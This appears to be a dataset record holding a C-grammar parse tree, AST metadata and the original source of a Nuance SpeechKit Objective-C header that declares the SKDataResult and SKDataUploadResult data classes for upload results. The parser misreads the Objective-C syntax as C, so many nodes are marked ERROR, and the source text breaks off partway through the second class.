"NSObject" (compound_statement) "{\n NSString *dataId;\n NSString *type;\n NSString *status;\n int checksum;\n int count;\n int force;\n}" ({) "{" (declaration) "NSString *dataId;" (type_identifier) "NSString" (pointer_declarator) "*dataId" (*) "*" (identifier) "dataId" (;) ";" (declaration) "NSString *type;" (type_identifier) "NSString" (pointer_declarator) "*type" (*) "*" (identifier) "type" (;) ";" (declaration) "NSString *status;" (type_identifier) "NSString" (pointer_declarator) "*status" (*) "*" (identifier) "status" (;) ";" (declaration) "int checksum;" (primitive_type) "int" (identifier) "checksum" (;) ";" (declaration) "int count;" (primitive_type) "int" (identifier) "count" (;) ";" (declaration) "int force;" (primitive_type) "int" (identifier) "force" (;) ";" (}) "}" (comment) "/*!\n @abstract Id of the data that has been sent.\n */" (ERROR) "@" (ERROR) "@" (expression_statement) "property (nonatomic, retain)" (call_expression) "property (nonatomic, retain)" (identifier) "property" (argument_list) "(nonatomic, retain)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "retain" ()) ")" (;) "" (declaration) "NSString *dataId;" (type_identifier) "NSString" (pointer_declarator) "*dataId" (*) "*" (identifier) "dataId" (;) ";" (comment) "/*!\n @abstract Type of the data that has been sent.\n */" (ERROR) "@" (ERROR) "@" (expression_statement) "property (nonatomic, retain)" (call_expression) "property (nonatomic, retain)" (identifier) "property" (argument_list) "(nonatomic, retain)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "retain" ()) ")" (;) "" (declaration) "NSString *type;" (type_identifier) "NSString" (pointer_declarator) "*type" (*) "*" (identifier) "type" (;) ";" (comment) "/*!\n @abstract Status of a particular data type uploaded: "success" or "failure"\n */" (ERROR) "@" (ERROR) "@" (expression_statement) "property (nonatomic, retain)" (call_expression) "property (nonatomic, retain)" (identifier) "property" (argument_list) "(nonatomic, retain)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "retain" ()) ")" (;) "" (declaration) "NSString *status;" (type_identifier) "NSString" (pointer_declarator) "*status" (*) "*" (identifier) "status" (;) ";" (comment) "/*!\n @abstract Checksum of the data that has been sent\n */" (ERROR) "@property (nonatomic, assign) int" (ERROR) "@" (call_expression) "property (nonatomic, assign)" (identifier) "property" (argument_list) "(nonatomic, assign)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "assign" ()) ")" (identifier) "int" (expression_statement) "checksum;" (identifier) "checksum" (;) ";" (comment) "/*!\n @abstract Number of data items on server side\n */" (ERROR) "@property (nonatomic, assign) int" (ERROR) "@" (call_expression) "property (nonatomic, assign)" (identifier) "property" (argument_list) "(nonatomic, assign)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "assign" ()) ")" (identifier) "int" (expression_statement) "count;" (identifier) "count" (;) ";" (comment) "/*!\n @abstract A flag to indicate if the data is synchronized, 1: out of synch, 0 otherwise\n */" (ERROR) "@property (nonatomic, assign) int" (ERROR) "@" (call_expression) "property (nonatomic, assign)" (identifier) "property" (argument_list) "(nonatomic, assign)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "assign" ()) ")" (identifier) "int" (expression_statement) "force;" (identifier) "force" (;) ";" (ERROR) "@" (ERROR) "@" (declaration) "end\n\n/*!\n @abstract The SKDataUploadResult object contains data uplpad results returned from \n SKDataUpload.\n */\n@interface" (type_identifier) "end" (comment) "/*!\n @abstract The SKDataUploadResult object contains data uplpad results returned from \n SKDataUpload.\n */" (ERROR) "@" (ERROR) "@" (identifier) "interface" (;) "" (labeled_statement) "SKDataUploadResult : NSObject\n{\n BOOL isVocRegenerated;\n NSArray *dataResults;\n\n}" (statement_identifier) "SKDataUploadResult" (:) ":" (ERROR) "NSObject" (identifier) "NSObject" (compound_statement) "{\n BOOL isVocRegenerated;\n NSArray *dataResults;\n\n}" ({) "{" (declaration) "BOOL isVocRegenerated;" (type_identifier) "BOOL" (identifier) "isVocRegenerated" (;) ";" (declaration) "NSArray *dataResults;" (type_identifier) "NSArray" (pointer_declarator) "*dataResults" (*) "*" (identifier) "dataResults" (;) ";" (}) "}" (comment) "/*!\n @abstract Determine whether the voc files was re-generated (YES) or not (NO)\n */" (ERROR) "@property (nonatomic, assign) BOOL" (ERROR) "@" (call_expression) "property (nonatomic, assign)" (identifier) "property" (argument_list) "(nonatomic, assign)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "assign" ()) ")" (identifier) "BOOL" (expression_statement) "isVocRegenerated;" (identifier) "isVocRegenerated" (;) ";" (comment) "/*!\n @abstract An NSArray of SKDataResults contains the data result table.\n */" (ERROR) "@" (ERROR) "@" (expression_statement) "property (nonatomic, retain)" (call_expression) "property (nonatomic, retain)" (identifier) "property" (argument_list) "(nonatomic, retain)" (() "(" (identifier) "nonatomic" (,) "," (identifier) "retain" ()) ")" (;) "" (declaration) "NSArray *dataResults;" (type_identifier) "NSArray" (pointer_declarator) "*dataResults" (*) "*" (identifier) "dataResults" (;) ";" (ERROR) "@" (ERROR) "@" (expression_statement) "end" (identifier) "end" (;) ""
238
26
{"language": "c", "success": true, "metadata": {"lines": 82, "avg_line_length": 32.68, "nodes": 138, "errors": 0, "source_hash": "a472c88f8a149a84a8a914c68646cdb6108189805ad811259fb0dcab934e98b5", "categorized_nodes": 82}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <Foundation/Foundation.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 26, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#import", "parent": 0, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "<Foundation/Foundation.h>", "parent": 0, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 33}}, {"id": 3, "type": "ERROR", "text": "@", "parent": null, "children": [4], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 4, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 5, "type": "function_definition", "text": "interface SKDataResult : NSObject\n{\n NSString *dataId;\n NSString *type;\n NSString *status;\n int checksum;\n int count;\n int force;\n}", "parent": null, "children": [6, 7, 8], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 39, "column": 1}}, {"id": 6, "type": "type_identifier", "text": "interface", "parent": 5, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 10}}, {"id": 7, "type": "identifier", "text": "SKDataResult", "parent": 5, "children": [], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 23}}, {"id": 8, "type": "ERROR", "text": ": NSObject", "parent": 5, "children": [9], "start_point": {"row": 31, "column": 24}, "end_point": {"row": 31, "column": 34}}, {"id": 9, "type": "identifier", "text": "NSObject", "parent": 8, "children": [], "start_point": {"row": 31, "column": 26}, "end_point": {"row": 31, "column": 34}}, {"id": 10, "type": "declaration", "text": "NSString *dataId;", "parent": 5, "children": [11, 12], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 21}}, {"id": 11, "type": "type_identifier", "text": "NSString", "parent": 10, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 12}}, {"id": 12, "type": "pointer_declarator", "text": "*dataId", "parent": 10, "children": [13, 14], "start_point": {"row": 33, "column": 13}, "end_point": {"row": 33, "column": 20}}, {"id": 13, "type": "*", "text": "*", "parent": 12, "children": [], "start_point": {"row": 33, "column": 13}, "end_point": {"row": 33, "column": 14}}, {"id": 14, "type": "identifier", "text": "dataId", "parent": 12, "children": [], "start_point": {"row": 33, "column": 14}, "end_point": {"row": 33, "column": 20}}, {"id": 15, "type": "declaration", "text": "NSString *type;", "parent": 5, "children": [16, 17], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 19}}, {"id": 16, "type": "type_identifier", "text": "NSString", "parent": 15, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 12}}, {"id": 17, "type": "pointer_declarator", "text": "*type", "parent": 15, "children": [18, 19], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 18}}, {"id": 18, "type": "*", "text": "*", "parent": 17, "children": [], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 14}}, {"id": 19, "type": "identifier", "text": "type", "parent": 17, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 18}}, {"id": 20, "type": "declaration", "text": "NSString *status;", "parent": 5, "children": [21, 22], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 21}}, {"id": 21, "type": "type_identifier", "text": "NSString", "parent": 20, "children": [], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 12}}, {"id": 22, "type": "pointer_declarator", "text": "*status", "parent": 20, "children": [23, 24], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 20}}, {"id": 23, "type": "*", "text": "*", "parent": 22, "children": [], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 14}}, {"id": 24, "type": "identifier", "text": "status", "parent": 22, "children": [], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 20}}, {"id": 25, "type": "declaration", "text": "int checksum;", "parent": 5, "children": [26, 27], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 17}}, {"id": 26, "type": "primitive_type", "text": "int", "parent": 25, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 7}}, {"id": 27, "type": "identifier", "text": "checksum", "parent": 25, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 16}}, {"id": 28, "type": "declaration", "text": "int count;", "parent": 5, "children": [29, 30], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 14}}, {"id": 29, "type": "primitive_type", "text": "int", "parent": 28, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 7}}, {"id": 30, "type": "identifier", "text": "count", "parent": 28, "children": [], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 13}}, {"id": 31, "type": "declaration", "text": "int force;", "parent": 5, "children": [32, 33], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 14}}, {"id": 32, "type": "primitive_type", "text": "int", "parent": 31, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 7}}, {"id": 33, "type": "identifier", "text": "force", "parent": 31, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 13}}, {"id": 34, "type": "ERROR", "text": "@", "parent": null, "children": [35], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 1}}, {"id": 35, "type": "ERROR", "text": "@", "parent": 34, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 1}}, {"id": 36, "type": "call_expression", "text": "property (nonatomic, retain)", "parent": null, "children": [37, 38], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 29}}, {"id": 37, "type": "identifier", "text": "property", "parent": 36, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 9}}, {"id": 38, "type": "argument_list", "text": "(nonatomic, retain)", "parent": 36, "children": [39, 40], "start_point": {"row": 44, "column": 10}, "end_point": {"row": 44, "column": 29}}, {"id": 39, "type": "identifier", "text": "nonatomic", "parent": 38, "children": [], "start_point": {"row": 44, "column": 11}, "end_point": {"row": 44, "column": 20}}, {"id": 40, "type": "identifier", "text": "retain", "parent": 38, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 28}}, {"id": 41, "type": "declaration", "text": "NSString *dataId;", "parent": null, "children": [42, 43], "start_point": {"row": 44, "column": 30}, "end_point": {"row": 44, "column": 47}}, {"id": 42, "type": "type_identifier", "text": "NSString", "parent": 41, "children": [], "start_point": {"row": 44, "column": 30}, "end_point": {"row": 44, "column": 38}}, {"id": 43, "type": "pointer_declarator", "text": "*dataId", "parent": 41, "children": [44, 45], "start_point": {"row": 44, "column": 39}, "end_point": {"row": 44, "column": 46}}, {"id": 44, "type": "*", "text": "*", "parent": 43, "children": [], "start_point": {"row": 44, "column": 39}, "end_point": {"row": 44, "column": 40}}, {"id": 45, "type": "identifier", "text": "dataId", "parent": 43, "children": [], "start_point": {"row": 44, "column": 40}, "end_point": {"row": 44, "column": 46}}, {"id": 46, "type": "ERROR", "text": "@", "parent": null, "children": [47], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 1}}, {"id": 47, "type": "ERROR", "text": "@", "parent": 46, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 1}}, {"id": 48, "type": "call_expression", "text": "property (nonatomic, retain)", "parent": null, "children": [49, 50], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 29}}, {"id": 49, "type": "identifier", "text": "property", "parent": 48, "children": [], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 9}}, {"id": 50, "type": "argument_list", "text": "(nonatomic, retain)", "parent": 48, "children": [51, 52], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 29}}, {"id": 51, "type": "identifier", "text": "nonatomic", "parent": 50, "children": [], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 20}}, {"id": 52, "type": "identifier", "text": "retain", "parent": 50, "children": [], "start_point": {"row": 48, "column": 22}, "end_point": {"row": 48, "column": 28}}, {"id": 53, "type": "declaration", "text": "NSString *type;", "parent": null, "children": [54, 55], "start_point": {"row": 48, "column": 30}, "end_point": {"row": 48, "column": 45}}, {"id": 54, "type": "type_identifier", "text": "NSString", "parent": 53, "children": [], "start_point": {"row": 48, "column": 30}, "end_point": {"row": 48, "column": 38}}, {"id": 55, "type": "pointer_declarator", "text": "*type", "parent": 53, "children": [56, 57], "start_point": {"row": 48, "column": 39}, "end_point": {"row": 48, "column": 44}}, {"id": 56, "type": "*", "text": "*", "parent": 55, "children": [], "start_point": {"row": 48, "column": 39}, "end_point": {"row": 48, "column": 40}}, {"id": 57, "type": "identifier", "text": "type", "parent": 55, "children": [], "start_point": {"row": 48, "column": 40}, "end_point": {"row": 48, "column": 44}}, {"id": 58, "type": "ERROR", "text": "@", "parent": null, "children": [59], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 52, "column": 1}}, {"id": 59, "type": "ERROR", "text": "@", "parent": 58, "children": [], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 52, "column": 1}}, {"id": 60, "type": "call_expression", "text": "property (nonatomic, retain)", "parent": null, "children": [61, 62], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 29}}, {"id": 61, "type": "identifier", "text": "property", "parent": 60, "children": [], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 9}}, {"id": 62, "type": "argument_list", "text": "(nonatomic, retain)", "parent": 60, "children": [63, 64], "start_point": {"row": 52, "column": 10}, "end_point": {"row": 52, "column": 29}}, {"id": 63, "type": "identifier", "text": "nonatomic", "parent": 62, "children": [], "start_point": {"row": 52, "column": 11}, "end_point": {"row": 52, "column": 20}}, {"id": 64, "type": "identifier", "text": "retain", "parent": 62, "children": [], "start_point": {"row": 52, "column": 22}, "end_point": {"row": 52, "column": 28}}, {"id": 65, "type": "declaration", "text": "NSString *status;", "parent": null, "children": [66, 67], "start_point": {"row": 52, "column": 30}, "end_point": {"row": 52, "column": 47}}, {"id": 66, "type": "type_identifier", "text": "NSString", "parent": 65, "children": [], "start_point": {"row": 52, "column": 30}, "end_point": {"row": 52, "column": 38}}, {"id": 67, "type": "pointer_declarator", "text": "*status", "parent": 65, "children": [68, 69], "start_point": {"row": 52, "column": 39}, "end_point": {"row": 52, "column": 46}}, {"id": 68, "type": "*", "text": "*", "parent": 67, "children": [], "start_point": {"row": 52, "column": 39}, "end_point": {"row": 52, "column": 40}}, {"id": 69, "type": "identifier", "text": "status", "parent": 67, "children": [], "start_point": {"row": 52, "column": 40}, "end_point": {"row": 52, "column": 46}}, {"id": 70, "type": "ERROR", "text": "@property (nonatomic, assign) int", "parent": null, "children": [71, 72, 77], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 33}}, {"id": 71, "type": "ERROR", "text": "@", "parent": 70, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 1}}, {"id": 72, "type": "call_expression", "text": "property (nonatomic, assign)", "parent": 70, "children": [73, 74], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 29}}, {"id": 73, "type": "identifier", "text": "property", "parent": 72, "children": [], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 9}}, {"id": 74, "type": "argument_list", "text": "(nonatomic, assign)", "parent": 72, "children": [75, 76], "start_point": {"row": 56, "column": 10}, "end_point": {"row": 56, "column": 29}}, {"id": 75, "type": "identifier", "text": "nonatomic", "parent": 74, "children": [], "start_point": {"row": 56, "column": 11}, "end_point": {"row": 56, "column": 20}}, {"id": 76, "type": "identifier", "text": "assign", "parent": 74, "children": [], "start_point": {"row": 56, "column": 22}, "end_point": {"row": 56, "column": 28}}, {"id": 77, "type": "identifier", "text": "int", "parent": 70, "children": [], "start_point": {"row": 56, "column": 30}, "end_point": {"row": 56, "column": 33}}, {"id": 78, "type": "identifier", "text": "checksum", "parent": null, "children": [], "start_point": {"row": 56, "column": 34}, "end_point": {"row": 56, "column": 42}}, {"id": 79, "type": "ERROR", "text": "@property (nonatomic, assign) int", "parent": null, "children": [80, 81, 86], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 33}}, {"id": 80, "type": "ERROR", "text": "@", "parent": 79, "children": [], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 1}}, {"id": 81, "type": "call_expression", "text": "property (nonatomic, assign)", "parent": 79, "children": [82, 83], "start_point": {"row": 60, "column": 1}, "end_point": {"row": 60, "column": 29}}, {"id": 82, "type": "identifier", "text": "property", "parent": 81, "children": [], "start_point": {"row": 60, "column": 1}, "end_point": {"row": 60, "column": 9}}, {"id": 83, "type": "argument_list", "text": "(nonatomic, assign)", "parent": 81, "children": [84, 85], "start_point": {"row": 60, "column": 10}, "end_point": {"row": 60, "column": 29}}, {"id": 84, "type": "identifier", "text": "nonatomic", "parent": 83, "children": [], "start_point": {"row": 60, "column": 11}, "end_point": {"row": 60, "column": 20}}, {"id": 85, "type": "identifier", "text": "assign", "parent": 83, "children": [], "start_point": {"row": 60, "column": 22}, "end_point": {"row": 60, "column": 28}}, {"id": 86, "type": "identifier", "text": "int", "parent": 79, "children": [], "start_point": {"row": 60, "column": 30}, "end_point": {"row": 60, "column": 33}}, {"id": 87, "type": "identifier", "text": "count", "parent": null, "children": [], "start_point": {"row": 60, "column": 34}, "end_point": {"row": 60, "column": 39}}, {"id": 88, "type": "ERROR", "text": "@property (nonatomic, assign) int", "parent": null, "children": [89, 90, 95], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 33}}, {"id": 89, "type": "ERROR", "text": "@", "parent": 88, "children": [], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 1}}, {"id": 90, "type": "call_expression", "text": "property (nonatomic, assign)", "parent": 88, "children": [91, 92], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 29}}, {"id": 91, "type": "identifier", "text": "property", "parent": 90, "children": [], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 9}}, {"id": 92, "type": "argument_list", "text": "(nonatomic, assign)", "parent": 90, "children": [93, 94], "start_point": {"row": 64, "column": 10}, "end_point": {"row": 64, "column": 29}}, {"id": 93, "type": "identifier", "text": "nonatomic", "parent": 92, "children": [], "start_point": {"row": 64, "column": 11}, "end_point": {"row": 64, "column": 20}}, {"id": 94, "type": "identifier", "text": "assign", "parent": 92, "children": [], "start_point": {"row": 64, "column": 22}, "end_point": {"row": 64, "column": 28}}, {"id": 95, "type": "identifier", "text": "int", "parent": 88, "children": [], "start_point": {"row": 64, "column": 30}, "end_point": {"row": 64, "column": 33}}, {"id": 96, "type": "identifier", "text": "force", "parent": null, "children": [], "start_point": {"row": 64, "column": 34}, "end_point": {"row": 64, "column": 39}}, {"id": 97, "type": "ERROR", "text": "@", "parent": null, "children": [98], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 1}}, {"id": 98, "type": "ERROR", "text": "@", "parent": 97, "children": [], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 1}}, {"id": 99, "type": "declaration", "text": "end\n\n/*!\n @abstract The SKDataUploadResult object contains data uplpad results returned from \n SKDataUpload.\n */\n@interface", "parent": null, "children": [100, 102], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 72, "column": 10}}, {"id": 100, "type": "ERROR", "text": "@", "parent": 99, "children": [101], "start_point": {"row": 72, "column": 0}, "end_point": {"row": 72, "column": 1}}, {"id": 101, "type": "ERROR", "text": "@", "parent": 100, "children": [], "start_point": {"row": 72, "column": 0}, "end_point": {"row": 72, "column": 1}}, {"id": 102, "type": "identifier", "text": "interface", "parent": 99, "children": [], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 10}}, {"id": 103, "type": "labeled_statement", "text": "SKDataUploadResult : NSObject\n{\n BOOL isVocRegenerated;\n NSArray *dataResults;\n\n}", "parent": null, "children": [104, 105], "start_point": {"row": 72, "column": 11}, "end_point": {"row": 77, "column": 1}}, {"id": 104, "type": "statement_identifier", "text": "SKDataUploadResult", "parent": 103, "children": [], "start_point": {"row": 72, "column": 11}, "end_point": {"row": 72, "column": 29}}, {"id": 105, "type": "ERROR", "text": "NSObject", "parent": 103, "children": [106], "start_point": {"row": 72, "column": 32}, "end_point": {"row": 72, "column": 40}}, {"id": 106, "type": "identifier", "text": "NSObject", "parent": 105, "children": [], "start_point": {"row": 72, "column": 32}, "end_point": {"row": 72, "column": 40}}, {"id": 107, "type": "declaration", "text": "BOOL isVocRegenerated;", "parent": 103, "children": [108, 109], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 74, "column": 26}}, {"id": 108, "type": "type_identifier", "text": "BOOL", "parent": 107, "children": [], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 74, "column": 8}}, {"id": 109, "type": "identifier", "text": "isVocRegenerated", "parent": 107, "children": [], "start_point": {"row": 74, "column": 9}, "end_point": {"row": 74, "column": 25}}, {"id": 110, "type": "declaration", "text": "NSArray *dataResults;", "parent": 103, "children": [111, 112], "start_point": {"row": 75, "column": 4}, "end_point": {"row": 75, "column": 25}}, {"id": 111, "type": "type_identifier", "text": "NSArray", "parent": 110, "children": [], "start_point": {"row": 75, "column": 4}, "end_point": {"row": 75, "column": 11}}, {"id": 112, "type": "pointer_declarator", "text": "*dataResults", "parent": 110, "children": [113, 114], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 24}}, {"id": 113, "type": "*", "text": "*", "parent": 112, "children": [], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 13}}, {"id": 114, "type": "identifier", "text": "dataResults", "parent": 112, "children": [], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 24}}, {"id": 115, "type": "ERROR", "text": "@property (nonatomic, assign) BOOL", "parent": null, "children": [116, 117, 122], "start_point": {"row": 82, "column": 0}, "end_point": {"row": 82, "column": 34}}, {"id": 116, "type": "ERROR", "text": "@", "parent": 115, "children": [], "start_point": {"row": 82, "column": 0}, "end_point": {"row": 82, "column": 1}}, {"id": 117, "type": "call_expression", "text": "property (nonatomic, assign)", "parent": 115, "children": [118, 119], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 29}}, {"id": 118, "type": "identifier", "text": "property", "parent": 117, "children": [], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 9}}, {"id": 119, "type": "argument_list", "text": "(nonatomic, assign)", "parent": 117, "children": [120, 121], "start_point": {"row": 82, "column": 10}, "end_point": {"row": 82, "column": 29}}, {"id": 120, "type": "identifier", "text": "nonatomic", "parent": 119, "children": [], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 82, "column": 20}}, {"id": 121, "type": "identifier", "text": "assign", "parent": 119, "children": [], "start_point": {"row": 82, "column": 22}, "end_point": {"row": 82, "column": 28}}, {"id": 122, "type": "identifier", "text": "BOOL", "parent": 115, "children": [], "start_point": {"row": 82, "column": 30}, "end_point": {"row": 82, "column": 34}}, {"id": 123, "type": "identifier", "text": "isVocRegenerated", "parent": null, "children": [], "start_point": {"row": 82, "column": 35}, "end_point": {"row": 82, "column": 51}}, {"id": 124, "type": "ERROR", "text": "@", "parent": null, "children": [125], "start_point": {"row": 86, "column": 0}, "end_point": {"row": 86, "column": 1}}, {"id": 125, "type": "ERROR", "text": "@", "parent": 124, "children": [], "start_point": {"row": 86, "column": 0}, "end_point": {"row": 86, "column": 1}}, {"id": 126, "type": "call_expression", "text": "property (nonatomic, retain)", "parent": null, "children": [127, 128], "start_point": {"row": 86, "column": 1}, "end_point": {"row": 86, "column": 29}}, {"id": 127, "type": "identifier", "text": "property", "parent": 126, "children": [], "start_point": {"row": 86, "column": 1}, "end_point": {"row": 86, "column": 9}}, {"id": 128, "type": "argument_list", "text": "(nonatomic, retain)", "parent": 126, "children": [129, 130], "start_point": {"row": 86, "column": 10}, "end_point": {"row": 86, "column": 29}}, {"id": 129, "type": "identifier", "text": "nonatomic", "parent": 128, "children": [], "start_point": {"row": 86, "column": 11}, "end_point": {"row": 86, "column": 20}}, {"id": 130, "type": "identifier", "text": "retain", "parent": 128, "children": [], "start_point": {"row": 86, "column": 22}, "end_point": {"row": 86, "column": 28}}, {"id": 131, "type": "declaration", "text": "NSArray *dataResults;", "parent": null, "children": [132, 133], "start_point": {"row": 86, "column": 30}, "end_point": {"row": 86, "column": 51}}, {"id": 132, "type": "type_identifier", "text": "NSArray", "parent": 131, "children": [], "start_point": {"row": 86, "column": 30}, "end_point": {"row": 86, "column": 37}}, {"id": 133, "type": "pointer_declarator", "text": "*dataResults", "parent": 131, "children": [134, 135], "start_point": {"row": 86, "column": 38}, "end_point": {"row": 86, "column": 50}}, {"id": 134, "type": "*", "text": "*", "parent": 133, "children": [], "start_point": {"row": 86, "column": 38}, "end_point": {"row": 86, "column": 39}}, {"id": 135, "type": "identifier", "text": "dataResults", "parent": 133, "children": [], "start_point": {"row": 86, "column": 39}, "end_point": {"row": 86, "column": 50}}, {"id": 136, "type": "ERROR", "text": "@", "parent": null, "children": [137], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 90, "column": 1}}, {"id": 137, "type": "ERROR", "text": "@", "parent": 136, "children": [], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 90, "column": 1}}]}, "node_categories": {"declarations": {"functions": [5], "variables": [10, 15, 20, 25, 28, 31, 41, 53, 65, 99, 107, 110, 131], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [36, 48, 60, 72, 81, 90, 117, 126], "assignments": [], "loops": [], "conditionals": [6, 7, 9, 11, 14, 16, 19, 21, 24, 27, 30, 33, 37, 39, 40, 42, 45, 49, 51, 52, 54, 57, 61, 63, 64, 66, 69, 73, 75, 76, 77, 78, 82, 84, 85, 86, 87, 91, 93, 94, 95, 96, 102, 104, 106, 108, 109, 111, 114, 118, 120, 121, 122, 123, 127, 129, 130, 132, 135], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 5, "universal_type": "function", "name": "SKDataResult", "text_snippet": "interface SKDataResult : NSObject\n{\n NSString *dataId;\n NSString *type;\n NSString *status;\n"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// SKDataUploadResult.h\n// SpeechKit\n//\n// Copyright 2012, Nuance Communications Inc. All rights reserved.\n//\n// Nuance Communications, Inc. provides this document without representation \n// or warranty of any kind. The information in this document is subject to \n// change without notice and does not represent a commitment by Nuance \n// Communications, Inc. The software and/or databases described in this \n// document are furnished under a license agreement and may be used or \n// copied only in accordance with the terms of such license agreement. \n// Without limiting the rights under copyright reserved herein, and except \n// as permitted by such license agreement, no part of this document may be \n// reproduced or transmitted in any form or by any means, including, without \n// limitation, electronic, mechanical, photocopying, recording, or otherwise, \n// or transferred to information storage and retrieval systems, without the \n// prior written permission of Nuance Communications, Inc.\n// \n// Nuance, the Nuance logo, Nuance Recognizer, and Nuance Vocalizer are \n// trademarks or registered trademarks of Nuance Communications, Inc. or its \n// affiliates in the United States and/or other countries. All other \n// trademarks referenced herein are the property of their respective owners.\n//\n\n#import <Foundation/Foundation.h>\n\n/*!\n @abstract The SKDataResult object contains a result for each of the data type \n that has been sent\n */\n@interface SKDataResult : NSObject\n{\n NSString *dataId;\n NSString *type;\n NSString *status;\n int checksum;\n int count;\n int force;\n}\n\n/*!\n @abstract Id of the data that has been sent.\n */\n@property (nonatomic, retain) NSString *dataId;\n/*!\n @abstract Type of the data that has been sent.\n */\n@property (nonatomic, retain) NSString *type;\n/*!\n @abstract Status of a particular data type uploaded: \"success\" or \"failure\"\n */\n@property (nonatomic, retain) NSString *status;\n/*!\n @abstract Checksum of the data that has been sent\n */\n@property (nonatomic, assign) int checksum;\n/*!\n @abstract Number of data items on server side\n */\n@property (nonatomic, assign) int count;\n/*!\n @abstract A flag to indicate if the data is synchronized, 1: out of synch, 0 otherwise\n */\n@property (nonatomic, assign) int force;\n\n@end\n\n/*!\n @abstract The SKDataUploadResult object contains data uplpad results returned from \n SKDataUpload.\n */\n@interface SKDataUploadResult : NSObject\n{\n BOOL isVocRegenerated;\n NSArray *dataResults;\n\n}\n\n/*!\n @abstract Determine whether the voc files was re-generated (YES) or not (NO)\n */\n@property (nonatomic, assign) BOOL 